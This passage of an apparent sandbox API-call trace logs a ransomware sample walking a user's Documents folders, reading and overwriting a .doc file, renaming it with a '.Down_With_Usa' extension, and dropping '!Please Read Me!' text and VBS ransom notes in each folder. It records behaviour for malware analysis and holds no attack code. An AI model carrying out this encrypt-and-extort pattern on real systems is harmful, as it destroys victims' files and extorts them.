[0120.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcef3f8c0, ftCreationTime.dwHighDateTime=0x1d5e436, ftLastAccessTime.dwLowDateTime=0xcff76b80, ftLastAccessTime.dwHighDateTime=0x1d5e274, ftLastWriteTime.dwLowDateTime=0xcff76b80, ftLastWriteTime.dwHighDateTime=0x1d5e274, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.502] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcef3f8c0, ftCreationTime.dwHighDateTime=0x1d5e436, ftLastAccessTime.dwLowDateTime=0xcff76b80, ftLastAccessTime.dwHighDateTime=0x1d5e274, ftLastWriteTime.dwLowDateTime=0xcff76b80, ftLastWriteTime.dwHighDateTime=0x1d5e274, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.502] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x694519c0, ftCreationTime.dwHighDateTime=0x1d5e105, ftLastAccessTime.dwLowDateTime=0xad4658c0, ftLastAccessTime.dwHighDateTime=0x1d5de56, ftLastWriteTime.dwLowDateTime=0xad4658c0, ftLastWriteTime.dwHighDateTime=0x1d5de56, nFileSizeHigh=0x0, nFileSizeLow=0x7372, dwReserved0=0x0, dwReserved1=0x0, cFileName="hNBOrTfGS9W0wv.doc", cAlternateFileName="HNBORT~1.DOC")) returned 1
[0120.502] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x694519c0, ftCreationTime.dwHighDateTime=0x1d5e105, ftLastAccessTime.dwLowDateTime=0xad4658c0, ftLastAccessTime.dwHighDateTime=0x1d5de56, ftLastWriteTime.dwLowDateTime=0xad4658c0, ftLastWriteTime.dwHighDateTime=0x1d5de56, nFileSizeHigh=0x0, nFileSizeLow=0x7372, dwReserved0=0x0, dwReserved1=0x0, cFileName="hNBOrTfGS9W0wv.doc", cAlternateFileName="HNBORT~1.DOC")) returned 0
[0120.502] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0120.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0120.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc", lpFilePart=0x0) returned 0x53
[0120.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0120.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\dkrifwy4u6u\\hnbortfgs9w0wv.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0120.503] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x7372
[0120.504] ReadFile (in: hFile=0x3a8, lpBuffer=0x2630988, nNumberOfBytesToRead=0x7372, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2630988*, lpNumberOfBytesRead=0x2eb358*=0x7372, lpOverlapped=0x0) returned 1
[0120.534] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc", lpFilePart=0x0) returned 0x53
[0120.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0120.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\dkrifwy4u6u\\hnbortfgs9w0wv.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0120.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc", lpFilePart=0x0) returned 0x53
[0120.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0120.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0120.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\dkrifwy4u6u\\hnbortfgs9w0wv.doc"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x694519c0, ftCreationTime.dwHighDateTime=0x1d5e105, ftLastAccessTime.dwLowDateTime=0xad4658c0, ftLastAccessTime.dwHighDateTime=0x1d5de56, ftLastWriteTime.dwLowDateTime=0x244e0060, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7380)) returned 1
[0120.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0120.538] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\dkrifwy4u6u\\hnbortfgs9w0wv.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\hNBOrTfGS9W0wv.doc.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\dkrifwy4u6u\\hnbortfgs9w0wv.doc.down_with_usa")) returned 1
[0120.542] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x63
[0120.542] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", lpFilePart=0x0) returned 0x40
[0120.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0120.542] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", lpFilePart=0x0) returned 0x40
[0120.542] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x63
[0120.542] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.542] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0120.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0120.548] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x55
[0120.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0120.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\dkrifwy4u6u\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0120.551] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x55
[0120.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0120.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\dkrifwy4u6u\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0120.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x57
[0120.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", lpFilePart=0x0) returned 0x34
[0120.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0120.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", lpFilePart=0x0) returned 0x34
[0120.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x57
[0120.555] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0120.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0120.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x49
[0120.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0120.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0120.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x49
[0120.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0120.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0120.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30
[0120.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", lpFilePart=0x0) returned 0x31
[0120.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba30) returned 1
[0120.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30
[0120.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", lpFilePart=0x0) returned 0x31
[0120.571] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba30) returned 1
[0120.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x53
[0120.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30
[0120.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0120.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30
[0120.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x53
[0120.595] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd90) returned 1
[0120.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x45
[0120.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0120.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0120.605] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x45
[0120.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0120.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0120.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33
[0120.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x34
[0120.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba30) returned 1
[0120.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33
[0120.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x34
[0120.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
